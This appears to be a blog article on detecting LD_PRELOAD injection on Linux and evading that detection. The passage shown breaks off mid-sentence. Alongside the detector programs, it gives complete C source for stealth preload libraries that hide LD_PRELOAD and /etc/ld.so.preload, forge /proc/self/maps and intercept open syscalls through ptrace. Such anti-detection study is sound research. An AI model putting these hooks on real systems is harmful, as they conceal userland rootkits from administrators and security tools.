LD_NOT_PRELOADED_FOR_REAL

LD_PRELOAD is probably one of the most amusing feature of Linux operating systems. It is the starting piece of dynamic instrumentation, reverse engineering madness and every fun userland rootkits. The problem is it is fairly easy to detect, spoiling the fun for everyone. This article is just a schizophrenic discussion on trying to detect LD_PRELOAD and implementing anti-detection countermeasures.

I hope you are already familiar with LD_PRELOAD, if not, go read one of the many tutorials on the subject. I will only remind that there are only two ways to register a library to be preloaded by ld.so:

setting the LD_PRELOAD environment variable to our library path

writing the library path in the /etc/ld.so.preload file

The first one has the advantage of being accessible to any users, but is only effective on processes you launch in that environment, meaning it will not affect other users. The second one has the advantage of being loaded on every process of your system but requires root access (on correctly configured machines).

Detecting LD_PRELOAD for dummies

Checking the value of the LD_PRELOAD environment variable, or the presence of /etc/ld.so.preload are the most common but also most obvious detection techniques out there. Barely any code is needed as you can see in the example below.

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> int main () { if ( getenv ( "LD_PRELOAD" )) printf ( "LD_PRELOAD detected through getenv()

" ); else printf ( "Environment is clean

" ); if ( open ( "/etc/ld.so.preload" , O_RDONLY ) > 0 ) printf ( "/etc/ld.so.preload detected through open()

" ); else printf ( "/etc/ld.so.preload is not present

" ); }

% sudo touch /etc/ld.so.preload % gcc -o detect detect.c % LD_PRELOAD= ./detect LD_PRELOAD detected through getenv() /etc/ld.so.preload detected through open() %

Of course if we can hook any shared library functions using LD_PRELOAD, there is nothing preventing our preloaded library to hook the functions used above and return the “correct” values. Below is an example of such hooks.

#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <dlfcn.h> #include <limits.h> #include <errno.h> #include <sys/stat.h> #include <fcntl.h> // We will store the real function pointer in here int ( * o_open )( const char * , int oflag ) = NULL ; char * ( * o_getenv )( const char * ) = NULL ; char * getenv ( const char * name ) { if ( ! o_getenv ) // Find the real function pointer o_getenv = dlsym ( RTLD_NEXT , "getenv" ); if ( strcmp ( name , "LD_PRELOAD" ) == 0 ) // This environment variable does not exist, I swear return NULL ; // Everything is ok, call the real getenv return o_getenv ( name ); } int open ( const char * path , int oflag , ...) { char real_path [ PATH_MAX ]; if ( ! o_open ) // Find the real function pointer o_open = dlsym ( RTLD_NEXT , "open" ); // Resolve symbolic links and dot notation fu realpath ( path , real_path ); if ( strcmp ( real_path , "/etc/ld.so.preload" ) == 0 ) { // This file does not exist, I swear. errno = ENOENT ; return - 1 ; } // Everything is ok, call the real open return o_open ( path , oflag ); } // Still many other functions to hook, like fopen, open64, stat, readdir, // rename, unlink, etc.

% gcc -shared -fpic -ldl -o stealth_preload.so stealth_preload.c % LD_PRELOAD=./stealth_preload.so ./detect Environment is clean /etc/ld.so.preload is not present %

It should be noted that many more functions need to be hooked in order to hide /etc/ld.so.preload. Some have direct effects like readdir(), stat(), open(). Some have undirect effects, like unlink() or rename(), where checking errno can indicate if the file does not exist (ENOENT) or if we do not have the write permission (EACCES) in which case it does exist.

Here is where many people stop their detection and anti-detection attempts, but for the fun of it, let’s go further, much further.

It’s the last time I call you

Ok, sure, we can intercept calls to any shared library including the libc, but what if there was a way to check the environment variables without calling any functions? Indeed, we can check the environment variables by reading the actual piece of memory holding them, environ.

####nocall_detect.c

#include <stdio.h> // This will resolve at linking time extern char ** environ ; int main () { long i , j ; char env [] = "LD_PRELOAD" ; // Go through all environment strings, the end of the array // is marked by a null pointer. for ( i = 0 ; environ [ i ]; i ++ ) { // Check is the string begins by LD_PRELOAD // I said NO CALL not even to strstr for ( j = 0 ; env [ j ] != '\0' && environ [ i ][ j ] != '\0' ; j ++ ) if ( env [ j ] != environ [ i ][ j ]) break ; // If the complete chain was found if ( env [ j ] == '\0' ) { printf ( "LD_PRELOAD detected through environ

" ); return ; } } printf ( "Environment is clean

" ); }

% gcc -o nocall_detect nocall_detect.c % LD_PRELOAD=./stealth_preload.so ./nocall_detect LD_PRELOAD detected through environ %

Because it is a simple and direct memory access, there is no way to intercept it. But … once the library is loaded into the program we do not really need that variable anymore. So how could we unset LD_PRELOAD as soon as our library is loaded? Well through the init function of our library. All we have to do is write an init() function and send the -init flag to the linker.

Inside the init() function there is not much to do: we save the value of LD_PRELOAD then remove it from the environment. This means that, as soon as our library is loaded, LD_PRELOAD will disappear from the environment and the program will never have any occasion of catching it because it will not execute any instruction before that. Unfortunately unsetenv() is not very effective at removing a variable and the value can still be found in /proc/self/environ and by running the set command. This is why it is reimplemented in the example below.

Now, if the program forks and loads another binary, our library will not be preloaded anymore because we removed it from the environment. So we need to restore that variable before the call to exec(). exec() is a whole family of functions, but they all redirect to execve(). execve() allows to set the environment through an array which means we need to create a new modified environment array to inject our LD_PRELOAD variable. Now the library will be loaded because LD_PRELOAD is set right before the call. LD_PRELOAD is unset right after the call for the parent process and through the init function for the child process, which means it completely disappears for both processes before they execute any instruction.

####noenviron_preload.c

#define _GNU_SOURCE #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> #include <stdio.h> #include <string.h> extern char ** environ ; int ( * o_execve )( const char * path , char * const argv [], char * const envp []) = NULL ; char * sopath ; // Called as soon as the library is loaded, the program has not executed any // instructions yet. void init () { int i , j ; static const char * ldpreload = "LD_PRELOAD" ; // First save the value of LD_PRELOAD int len = strlen ( getenv ( ldpreload )); sopath = ( char * ) malloc ( len + 1 ); strcpy ( sopath , getenv ( ldpreload )); // unsetenv() has a weird behavior, this is a custom implementation // Look for LD_PRELOAD variable for ( i = 0 ; environ [ i ]; i ++ ) { int found = 1 ; for ( j = 0 ; ldpreload [ j ] != '\0' && environ [ i ][ j ] != '\0' ; j ++ ) if ( ldpreload [ j ] != environ [ i ][ j ]) { found = 0 ; break ; } if ( found ) { // Set to zero the variable for ( j = 0 ; environ [ i ][ j ] != '\0' ; j ++ ) environ [ i ][ j ] = '\0' ; break ; // Free that memory free (( void * ) environ [ i ]); } } // Remove the string pointer from environ for ( j = i ; environ [ j ]; j ++ ) environ [ j ] = environ [ j + 1 ]; } int execve ( const char * path , char * const argv [], char * const envp []) { int i , j , ldi = - 1 , r ; char ** new_env ; if ( ! o_execve ) o_execve = dlsym ( RTLD_NEXT , "execve" ); // Look if the provided environment already contains LD_PRELOAD for ( i = 0 ; envp [ i ]; i ++ ) { if ( strstr ( envp [ i ], "LD_PRELOAD" )) ldi = i ; } // If it doesn't, add it at the end if ( ldi == - 1 ) { ldi = i ; i ++ ; } // Create a new environment new_env = ( char ** ) malloc (( i + 1 ) * sizeof ( char * )); // Copy the old environment in the new one, except for LD_PRELOAD for ( j = 0 ; j < i ; j ++ ) { // Overwrite or create the LD_PRELOAD variable if ( j == ldi ) { new_env [ j ] = ( char * ) malloc ( 256 ); strcpy ( new_env [ j ], "LD_PRELOAD=" ); strcat ( new_env [ j ], sopath ); } else new_env [ j ] = ( char * ) envp [ j ]; } // That string array is NULL terminated new_env [ i ] = NULL ; r = o_execve ( path , argv , new_env ); free ( new_env [ ldi ]); free ( new_env ); return r ; } // You also have to patch all the other variants of exec

$ gcc -o noenviron_preload.so -shared -fpic -ldl -Wl,-init,init noenviron_preload.c $ LD_PRELOAD=./noenviron_preload.so ./nocall_detect Environment is clean $

You should note that many other functions from the exec familly need to be hooked. Also, the code here replaces entirely the value of LD_PRELOAD, but to be exact you should append your library to the variable if it is already set and only remove your library from the variable instead of unsetting it. A program could set LD_PRELOAD with a canary value and watch it disappear after a fork, confirming that some weird LD_PRELOAD magic is going on.

Memory Unknown

(Un)fortunately the environment variable or the ld.so.preload file are not the only way of detecting a preloaded library. Another way, which is a bit more complex to implement, is to read the memory maps of our program and detect the presence of the memory allocated to the preloaded library. As everything is a file under linux, it is located in /proc/self/maps.

Here is the normal process map of cat:

$ cat /proc/self/maps 00400000-0040c000 r-xp 00000000 fe:01 400301 /usr/bin/cat 0060b000-0060c000 r--p 0000b000 fe:01 400301 /usr/bin/cat 0060c000-0060d000 rw-p 0000c000 fe:01 400301 /usr/bin/cat 01c28000-01c49000 rw-p 00000000 00:00 0 [heap] 7f40b88f4000-7f40b8a8d000 r-xp 00000000 fe:01 418477 /usr/lib/libc-2.20.so 7f40b8a8d000-7f40b8c8d000 ---p 00199000 fe:01 418477 /usr/lib/libc-2.20.so 7f40b8c8d000-7f40b8c91000 r--p 00199000 fe:01 418477 /usr/lib/libc-2.20.so 7f40b8c91000-7f40b8c93000 rw-p 0019d000 fe:01 418477 /usr/lib/libc-2.20.so 7f40b8c93000-7f40b8c97000 rw-p 00000000 00:00 0 7f40b8c97000-7f40b8cb9000 r-xp 00000000 fe:01 412638 /usr/lib/ld-2.20.so 7f40b8cee000-7f40b8e78000 r--p 00000000 fe:01 453088 /usr/lib/locale/locale-archive 7f40b8e78000-7f40b8e7b000 rw-p 00000000 00:00 0 7f40b8e96000-7f40b8eb8000 rw-p 00000000 00:00 0 7f40b8eb8000-7f40b8eb9000 r--p 00021000 fe:01 412638 /usr/lib/ld-2.20.so 7f40b8eb9000-7f40b8eba000 rw-p 00022000 fe:01 412638 /usr/lib/ld-2.20.so 7f40b8eba000-7f40b8ebb000 rw-p 00000000 00:00 0 7fff1644c000-7fff1646d000 rw-p 00000000 00:00 0 [stack] 7fff165bf000-7fff165c1000 r--p 00000000 00:00 0 [vvar] 7fff165c1000-7fff165c3000 r-xp 00000000 00:00 0 [vdso]

And here is the process map of preloaded cat:

$ LD_PRELOAD=/tmp/noenviron_preload.so cat /proc/self/maps 00400000-0040c000 r-xp 00000000 fe:01 400301 /usr/bin/cat 0060b000-0060c000 r--p 0000b000 fe:01 400301 /usr/bin/cat 0060c000-0060d000 rw-p 0000c000 fe:01 400301 /usr/bin/cat 00ef7000-00f18000 rw-p 00000000 00:00 0 [heap] 7fce2e877000-7fce2e87a000 r-xp 00000000 fe:01 411128 /usr/lib/libdl-2.20.so 7fce2e87a000-7fce2ea79000 ---p 00003000 fe:01 411128 /usr/lib/libdl-2.20.so 7fce2ea79000-7fce2ea7a000 r--p 00002000 fe:01 411128 /usr/lib/libdl-2.20.so 7fce2ea7a000-7fce2ea7b000 rw-p 00003000 fe:01 411128 /usr/lib/libdl-2.20.so 7fce2ea7b000-7fce2ec14000 r-xp 00000000 fe:01 418477 /usr/lib/libc-2.20.so 7fce2ec14000-7fce2ee14000 ---p 00199000 fe:01 418477 /usr/lib/libc-2.20.so 7fce2ee14000-7fce2ee18000 r--p 00199000 fe:01 418477 /usr/lib/libc-2.20.so 7fce2ee18000-7fce2ee1a000 rw-p 0019d000 fe:01 418477 /usr/lib/libc-2.20.so 7fce2ee1a000-7fce2ee1e000 rw-p 00000000 00:00 0 7fce2ee1e000-7fce2ee1f000 r-xp 00000000 00:1e 20903 /tmp/noenviron_preload.so 7fce2ee1f000-7fce2f01f000 ---p 00001000 00:1e 20903 /tmp/noenviron_preload.so 7fce2f01f000-7fce2f020000 rw-p 00001000 00:1e 20903 /tmp/noenviron_preload.so 7fce2f020000-7fce2f042000 r-xp 00000000 fe:01 412638 /usr/lib/ld-2.20.so 7fce2f076000-7fce2f200000 r--p 00000000 fe:01 453088 /usr/lib/locale/locale-archive 7fce2f200000-7fce2f203000 rw-p 00000000 00:00 0 7fce2f21e000-7fce2f241000 rw-p 00000000 00:00 0 7fce2f241000-7fce2f242000 r--p 00021000 fe:01 412638 /usr/lib/ld-2.20.so 7fce2f242000-7fce2f243000 rw-p 00022000 fe:01 412638 /usr/lib/ld-2.20.so 7fce2f243000-7fce2f244000 rw-p 00000000 00:00 0 7fff3d885000-7fff3d8a6000 rw-p 00000000 00:00 0 [stack] 7fff3d8f4000-7fff3d8f6000 r--p 00000000 00:00 0 [vvar] 7fff3d8f6000-7fff3d8f8000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

As you can see, right between ld.so memory and the libc.so memory, our library has been loaded. An easy way to detect this is to look if there is anything else than an anonymous map (the one without name and with a bunch of zeroes) between the libc.so memory and ld.so memory.

####memory_detect.c

#include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> #define BUFFER_SIZE 256 // Avoid to use libc strstr // Return a pointer after the first location of sub in str char * afterSubstr ( char * str , const char * sub ) { int i , found ; char * ptr ; found = 0 ; for ( ptr = str ; * ptr != '\0' ; ptr ++ ) { found = 1 ; for ( i = 0 ; found == 1 && sub [ i ] != '\0' ; i ++ ) if ( sub [ i ] != ptr [ i ]) found = 0 ; if ( found == 1 ) break ; } if ( found == 0 ) return NULL ; return ptr + i ; } // Try to match the following regexp: libname-[0-9]+\.[0-9]+\.so$ // Not using any libc function makes that code awful, I know int isLib ( char * str , const char * lib ) { int i , found ; static const char * end = ".so

" ; char * ptr ; // Trying to find lib in str ptr = afterSubstr ( str , lib ); if ( ptr == NULL ) return 0 ; // Should be followed by a '-' if ( * ptr != '-' ) return 0 ; // Checking the first [0-9]+\. found = 0 ; for ( ptr += 1 ; * ptr >= '0' && * ptr <= '9' ; ptr ++ ) found = 1 ; if ( found == 0 || * ptr != '.' ) return 0 ; // Checking the second [0-9]+ found = 0 ; for ( ptr += 1 ; * ptr >= '0' && * ptr <= '9' ; ptr ++ ) found = 1 ; if ( found == 0 ) return 0 ; // Checking if it ends with ".so

" for ( i = 0 ; end [ i ] != '\0' ; i ++ ) if ( end [ i ] != ptr [ i ]) return 0 ; return 1 ; } int main () { FILE * memory_map ; char buffer [ BUFFER_SIZE ]; int after_libc = 0 ; memory_map = fopen ( "/proc/self/maps" , "r" ); if ( memory_map == NULL ) { printf ( "/proc/self/maps is unaccessible, probably a LD_PRELOAD attempt

" ); return 1 ; } // Read the memory map line by line // Try to look for a library loaded in between the libc and ld while ( fgets ( buffer , BUFFER_SIZE , memory_map ) != NULL ) { // Look for a libc entry if ( isLib ( buffer , "libc" )) after_libc = 1 ; else if ( after_libc ) { // Look for a ld entry if ( isLib ( buffer , "ld" )) { // If we got this far then everythin is fine printf ( "Memory maps are clean

" ); break ; } // If it's not an anonymous memory map else if ( afterSubstr ( buffer , "00000000 00:00 0" ) == NULL ) { // Something has been preloaded by ld.so printf ( "LD_PRELOAD detected through memory maps

" ); break ; } } } }

$ gcc -o memory_detect memory_detect.c $ LD_PRELOAD=./noenviron_preload.so ./memory_detect LD_PRELOAD detected through memory maps $

Of course this suffers from the same problem as before except that this time we can not pretend the file does not exist, we have to present fake memory maps to the process. Like before we hook the open function (I used fopen() this time, technically you should also hook open(), open64(), openat64(), freopen(), etc), but now we create a temporary file where we copy the true memory maps without the lines related to our preloaded library.

####fakememory_preload.c

#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <dlfcn.h> #include <limits.h> #include <errno.h> FILE * ( * o_fopen )( const char * , const char * ) = NULL ; char * soname = "fakememory_preload.so" ; void fakeMaps ( char * original_path , char * fake_path , char * pattern ) { FILE * original , * fake ; char buffer [ PATH_MAX ]; original = o_fopen ( original_path , "r" ); fake = o_fopen ( fake_path , "w" ); // Copy original in fake but discard the lines containing pattern while ( fgets ( buffer , PATH_MAX , original )) if ( strstr ( buffer , pattern ) == NULL ) fputs ( buffer , fake ); fclose ( fake ); fclose ( original ); } FILE * fopen ( const char * path , const char * mode ) { char real_path [ PATH_MAX ], maps_path [ PATH_MAX ]; pid_t pid = getpid (); if ( ! o_fopen ) // Find the real function pointer o_fopen = dlsym ( RTLD_NEXT , "fopen" ); // Resolve symbolic links and dot notation fu realpath ( path , real_path ); snprintf ( maps_path , PATH_MAX , "/proc/%d/maps" , pid ); if ( strcmp ( real_path , maps_path ) == 0 ) { snprintf ( maps_path , PATH_MAX , "/tmp/%d.fakemaps" , pid ); // Create a file in tmp containing our fake map fakeMaps ( real_path , maps_path , soname ); return o_fopen ( maps_path , mode ); } // Everything is ok, call the real open return o_fopen ( path , mode ); }

$ gcc -o fakememory_preload.so -shared -fpic -ldl fakememory_preload.c $ LD_PRELOAD=./fakememory_preload.so ./memory_detect Memory maps are clean $

Now if you look at the resulting fake memory maps, you can see there are still some inconsistencies.

$ cat /tmp/1011.fakemaps 00400000-00401000 r-xp 00000000 fe:03 7342345 /home/haxelion/documents/den/article/files/memory_detect 00600000-00601000 rw-p 00000000 fe:03 7342345 /home/haxelion/documents/den/article/files/memory_detect 020cd000-020ee000 rw-p 00000000 00:00 0 [heap] 7fabc17c2000-7fabc17c5000 r-xp 00000000 fe:01 411128 /usr/lib/libdl-2.20.so 7fabc17c5000-7fabc19c4000 ---p 00003000 fe:01 411128 /usr/lib/libdl-2.20.so 7fabc19c4000-7fabc19c5000 r--p 00002000 fe:01 411128 /usr/lib/libdl-2.20.so 7fabc19c5000-7fabc19c6000 rw-p 00003000 fe:01 411128 /usr/lib/libdl-2.20.so 7fabc19c6000-7fabc1b5f000 r-xp 00000000 fe:01 418477 /usr/lib/libc-2.20.so 7fabc1b5f000-7fabc1d5f000 ---p 00199000 fe:01 418477 /usr/lib/libc-2.20.so 7fabc1d5f000-7fabc1d63000 r--p 00199000 fe:01 418477 /usr/lib/libc-2.20.so 7fabc1d63000-7fabc1d65000 rw-p 0019d000 fe:01 418477 /usr/lib/libc-2.20.so 7fabc1d65000-7fabc1d69000 rw-p 00000000 00:00 0 7fabc1f6a000-7fabc1f8c000 r-xp 00000000 fe:01 412638 /usr/lib/ld-2.20.so 7fabc2148000-7fabc214b000 rw-p 00000000 00:00 0 7fabc2188000-7fabc218b000 rw-p 00000000 00:00 0 7fabc218b000-7fabc218c000 r--p 00021000 fe:01 412638 /usr/lib/ld-2.20.so 7fabc218c000-7fabc218d000 rw-p 00022000 fe:01 412638 /usr/lib/ld-2.20.so 7fabc218d000-7fabc218e000 rw-p 00000000 00:00 0 7fff53b1e000-7fff53b3f000 rw-p 00000000 00:00 0 [stack] 7fff53bfc000-7fff53bfe000 r--p 00000000 00:00 0 [vvar] 7fff53bfe000-7fff53c00000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $

For example the allocated memory blocks are not contiguous anymore. With a more complete memory maps parser this can be easily fixed, the example from above is only a proof of concept.

The Kernel Whisperer

I have now exhausted the standard techniques that I know of and it is time for assembly and kernel tricks. I hope you are familiar with both.

As you might know, the kernel functions, like open() or fork(), are actually called through a mechanism known as syscall: the syscall function number is put in eax (or rax under x86_64), the arguments in the other registers (see man syscall) and then the “int 0x80” instruction (or “syscall” under x86_64) is executed. This causes a processor interrupt which is catched by the kernel in charge of granting our wishes. The standard C library and system library are merely wrappers around this mechanism, providing a C API for basic OS functions, and those wrappers are what we have been hooking.

So if we directly use syscalls to call kernel functions we are bypassing the entire hooking process. Let’s reimplement the ld.so.preload file detection and memory maps detection but with syscalls this time.

####syscall_detect.c

#include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #define BUFFER_SIZE 256 int syscall_open ( char * path , long oflag ) { int fd = - 1 ; #ifdef __i386__ __asm__ ( "mov $5, %%eax;" // Open syscall number "mov %1, %%ebx;" // Address of our string "mov %2, %%ecx;" // Open mode "mov $0, %%edx;" // No create mode "int $0x80;" // Straight to ring0 "mov %%eax, %0;" // Returned file descriptor : "=r" ( fd ) : "m" ( path ), "m" ( oflag ) : "eax" , "ebx" , "ecx" , "edx" ); #elif __amd64__ __asm__ ( "mov $2, %%rax;" // Open syscall number "mov %1, %%rdi;" // Address of our string "mov %2, %%rsi;" // Open mode "mov $0, %%rdx;" // No create mode "syscall;" // Straight to ring0 "mov %%eax, %0;" // Returned file descriptor : "=r" ( fd ) : "m" ( path ), "m" ( oflag ) : "rax" , "rdi" , "rsi" , "rdx" ); #endif return fd ; } size_t syscall_gets ( char * buffer , size_t buffer_size , int fd ) { size_t i ; for ( i = 0 ; i < buffer_size - 1 ; i ++ ) { size_t nbytes ; #ifdef __i386__ __asm__ ( "mov $3, %%eax;" // Read syscall number "mov %1, %%ebx;" // File descriptor "mov %2, %%ecx;" // Address of our buffer "mov $1, %%edx;" // Read 1 byte "int $0x80;" // Straight to ring0 "mov %%eax, %0;" // Returned read byte number : "=r" ( nbytes ) : "m" ( fd ), "r" ( & ( buffer [ i ])) : "eax" , "ebx" , "ecx" , "edx" ); #elif __amd64__ __asm__ ( "mov $0, %%rax;" // Read syscall number "mov %1, %%rdi;" // File descriptor "mov %2, %%rsi;" // Address of our buffer "mov $1, %%rdx;" // Read 1 byte "syscall;" // Straight to ring0 "mov %%rax, %0;" // Returned read byte number : "=r" ( nbytes ) : "m" ( fd ), "r" ( & ( buffer [ i ])) : "rax" , "rdi" , "rsi" , "rdx" ); #endif if ( nbytes != 1 ) break ; if ( buffer [ i ] == '

' ) { i ++ ; break ; } } buffer [ i ] = '\0' ; return i ; } // Avoid to use libc strstr char * afterSubstr ( char * str , const char * sub ) { int i , found ; char * ptr ; found = 0 ; for ( ptr = str ; * ptr != '\0' ; ptr ++ ) { found = 1 ; for ( i = 0 ; found == 1 && sub [ i ] != '\0' ; i ++ ) if ( sub [ i ] != ptr [ i ]) found = 0 ; if ( found == 1 ) break ; } if ( found == 0 ) return NULL ; return ptr + i ; } // Try to match the following regexp: libname-[0-9]+\.[0-9]+\.so$ // Not using any libc function makes that code awful, I know int isLib ( char * str , const char * lib ) { int i , found ; static const char * end = ".so

" ; char * ptr ; // Trying to find lib in str ptr = afterSubstr ( str , lib ); if ( ptr == NULL ) return 0 ; // Should be followed by a '-' if ( * ptr != '-' ) return 0 ; // Checking the first [0-9]+\. found = 0 ; for ( ptr += 1 ; * ptr >= '0' && * ptr <= '9' ; ptr ++ ) found = 1 ; if ( found == 0 || * ptr != '.' ) return 0 ; // Checking the second [0-9]+ found = 0 ; for ( ptr += 1 ; * ptr >= '0' && * ptr <= '9' ; ptr ++ ) found = 1 ; if ( found == 0 ) return 0 ; // Checking if it ends with ".so

" for ( i = 0 ; end [ i ] != '\0' ; i ++ ) if ( end [ i ] != ptr [ i ]) return 0 ; return 1 ; } int main () { int memory_map ; char buffer [ BUFFER_SIZE ]; int after_libc = 0 ; // If the file was succesfully opened if ( syscall_open ( "/etc/ld.so.preload" , O_RDONLY ) > 0 ) printf ( "/etc/ld.so.preload detected through open syscall

" ); else printf ( "/etc/ld.so.preload is not present

" ); // Open the memory map through a syscall this time memory_map = syscall_open ( "/proc/self/maps" , O_RDONLY ); if ( memory_map == - 1 ) { printf ( "/proc/self/maps is unaccessible, probably a LD_PRELOAD attempt

" ); return 1 ; } // Read the memory map line by line // Try to look for a library loaded in between the libc and ld while ( syscall_gets ( buffer , BUFFER_SIZE , memory_map ) != 0 ) { // Look for a libc entry if ( isLib ( buffer , "libc" )) after_libc = 1 ; else if ( after_libc ) { // Look for a ld entry if ( isLib ( buffer , "ld" )) { // If we got this far then everythin is fine printf ( "Memory maps are clean

" ); break ; } // If it's not an anonymous memory map else if ( afterSubstr ( buffer , "00000000 00:00 0" ) == NULL ) { // Something has been preloaded by ld.so printf ( "LD_PRELOAD detected through memory maps

" ); break ; } } } }

$ gcc -o syscall_detect syscall_detect.c $ LD_PRELOAD=./fakememory_preload.so ./syscall_detect /etc/ld.so.preload detected through open syscall LD_PRELOAD detected through memory maps $

Stop Tracing Me!

Now you might be thinking it is over, that there is no way you can do anything against syscalls with LD_PRELOAD, the only way is to implement kernelspace hooking. Well … not really.

We might be asking the kernel to execute a system function for us, but he never said he was going to do it. More specifically, there are two ways of modifying syscall behavior under linux:

SECCOMP which allows restricting the syscalls a process can make. It is meant to be used to sandbox processes but it is a little bit trickier when said process is not aware there should be a sandbox in the first place.

Ptrace which is used to debug processes and allows stopping the process before and after each syscall.

So the idea would be to ptrace the process, stop it before each syscall and, if it is an open syscall, redirect the control flow to a hook function.

The first problem is to ptrace ourself. We can not directly ptrace ourself because it makes no sense, a debugger can not debug itself. But if we fork a child process, that new process can continue the normal program execution while its parent debugs it. The only detail is we call sleep() before to give enough time to the parent process to attach, just in case the child would get scheduled before the parent by the kernel.

The second problem is to redirect the control flow to our hook function. Fortunately, under x86_64, the syscall argument convention is the same as the amd64 gnu ABI, the arguments are placed in RDI, RSI, RDX, etc. We just need to emulate a call through the ptrace interface by pushing the return address on the stack and changing the instruction pointer to the first instruction of the hook function.

Unfortunately the x86 gnu ABI is different. It requires the arguments to be placed on the stack but the syscall convention uses registers. Again, we can emulate this using the ptrace interface to push those registers onto the stack. The real problem is when we return from our hook function, because we need to clear those arguments from the stack. The solution is implemented as inline assembly inside the hook function. This assembly “simply” moves the stack 12 bytes up (12 bytes is the arguments size) before returning.

The last problem is to avoid hooking the syscalls made by our hook function. A simple variable checked by the hooking code is used there, the only trick being that the variable needs to be copied from the parent process to the child using ptrace.

Below is the full implementation of the open syscall emulation.

####nosyscall_preload.c

#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <time.h> #include <errno.h> #include <limits.h> #include <sys/prctl.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/reg.h> #include <sys/user.h> #include <asm/unistd.h> // Some useful defines to make the code architecture independent #if defined(__i386__) #define REG_SYSCALL ORIG_EAX #define REG_SP esp #define REG_IP eip #elif defined(__x86_64__) #define REG_SYSCALL ORIG_RAX #define REG_SP rsp #define REG_IP rip #endif long NOHOOK = 0 ; char * soname = "nosyscall_preload.so" ; void fakeMaps ( char * original_path , char * fake_path , char * pattern ) { FILE * original , * fake ; char buffer [ PATH_MAX ]; original = fopen ( original_path , "r" ); fake = fopen ( fake_path , "w" ); // Copy original in fake but discard the lines containing pattern while ( fgets ( buffer , PATH_MAX , original )) if ( strstr ( buffer , pattern ) == NULL ) fputs ( buffer , fake ); fclose ( fake ); fclose ( original ); } long open_gate ( const char * path , long oflag , long cflag ) { char real_path [ PATH_MAX ], maps_path [ PATH_MAX ]; long ret ; pid_t pid ; pid = getpid (); // Resolve symbolic links and dot notation fu realpath ( path , real_path ); snprintf ( maps_path , PATH_MAX , "/proc/%d/maps" , pid ); if ( strcmp ( real_path , "/etc/ld.so.preload" ) == 0 ) { // This file does not exist, I swear. errno = ENOENT ; ret = - 1 ; } else if ( strcmp ( real_path , maps_path ) == 0 ) { snprintf ( maps_path , PATH_MAX , "/tmp/%d.fakemaps" , pid ); // Create a file in tmp containing our fake map NOHOOK = 1 ; // Entering NOHOOK section fakeMaps ( real_path , maps_path , soname ); ret = open ( maps_path , oflag ); } else { // Everything is ok, call the real open NOHOOK = 1 ; // Entering NOHOOK section ret = open ( path , oflag , cflag ); } // Exiting NOHOOK section NOHOOK = 0 ; #ifdef __i386__ // Tricky stack cleaning and return in the x86 case // We need to clean the 3 arguments (12 bytes) that were pushed on the stack __asm__ __volatile__ ( "mov %0, %%eax;" // set the return value "mov (%%ebp), %%ecx;" // move saved ebp 12 bytes up "mov %%ecx, 0xc(%%ebp);" "mov 0x4(%%ebp), %%ecx;" // move saved eip 12 bytes up "mov %%ecx, 0x10(%%ebp);" "add $0xc, %%ebp;" //move stack base 12 bytes up "leave;" // normal leave and return "ret;" : : "m" ( ret ) : ); #endif return ret ; } void init () { pid_t program ; // Forking a child process program = fork (); if ( program != 0 ) { // Parent process which will debug the program in the child process int status ; long syscall_nr ; struct user_regs_struct regs ; // We attach to the child if ( ptrace ( PTRACE_ATTACH , program ) != 0 ) { printf ( "Failed to attach to the program.

" ); exit ( 1 ); } waitpid ( program , & status , 0 ); // We are only interested in tracing SYSCALLs ptrace ( PTRACE_SETOPTIONS , program , 0 , PTRACE_O_TRACESYSGOOD ); while ( 1 ) { ptrace ( PTRACE_SYSCALL , program , 0 , 0 ); waitpid ( program , & status , 0 ); if ( WIFEXITED ( status ) || WIFSIGNALED ( status )) break ; // Stop tracing if the parent process terminates else if ( WIFSTOPPED ( status ) && WSTOPSIG ( status ) == SIGTRAP | 0x80 ) { // Getting the syscall number syscall_nr = ptrace ( PTRACE_PEEKUSER , program , sizeof ( long ) * REG_SYSCALL ); // Is it an open syscall ? if ( syscall_nr == __NR_open ) { // Getting the value of NOHOOK in the child process NOHOOK = ptrace ( PTRACE_PEEKDATA , program , ( void * ) & NOHOOK ); // Only hook the syscall if it's not in a NOHOOK section if ( ! NOHOOK ) { // Now we are going to simulate a call // First get the register state ptrace ( PTRACE_GETREGS , program , 0 , & regs ); // Under x86 we need to push the arguments on the stack #ifdef __i386__ regs . REG_SP -= sizeof ( long ); ptrace ( PTRACE_POKEDATA , program , ( void * ) regs . REG_SP , regs . edx ); regs . REG_SP -= sizeof ( long ); ptrace ( PTRACE_POKEDATA , program , ( void * ) regs . REG_SP , regs . ecx ); regs . REG_SP -= sizeof ( long ); ptrace ( PTRACE_POKEDATA , program , ( void * ) regs . REG_SP , regs . ebx ); #endif // Push return address on the stack regs . REG_SP -= sizeof ( long ); ptrace ( PTRACE_POKEDATA , program , ( void * ) regs . REG_SP , regs . REG_IP ); // Set RIP to open_gate address regs . REG_IP = ( unsigned long ) open_gate ; // Finnally set the register ptrace ( PTRACE_SETREGS , program , 0 , & regs ); } } //We always get a second signal after the syscall ptrace ( PTRACE_SYSCALL , program , 0 , 0 ); waitpid ( program , & status , 0 ); } } exit ( 0 ); } else { // Child process // Sleep a bit to give the parent process enough time to attach sleep ( 0 ); } }

gcc -o nosyscall_preload.so -shared -fpic -Wl,-init,init nosyscall_preload.c LD_PRELOAD=./nosyscall_preload.so ./syscall_detect /etc/ld.so.preload is not present Memory maps are clean

The big advantage of this approach is that we don’t need to hook all the variants of open() or fopen() because they all use the same syscall (except openat(), but you should be able to figure out how to patch it).

The Endless Game

Of course now our program can try to detect if it is being ptraced, but since we can hook any syscall we want this can also be countered. Another problem is all the side effects created by our tricks (e.g. if you read the /etc directory ld.so.preload is still there and our fake memory maps has address incoherences).

Two other detection mechanisms are also worth mentionning:

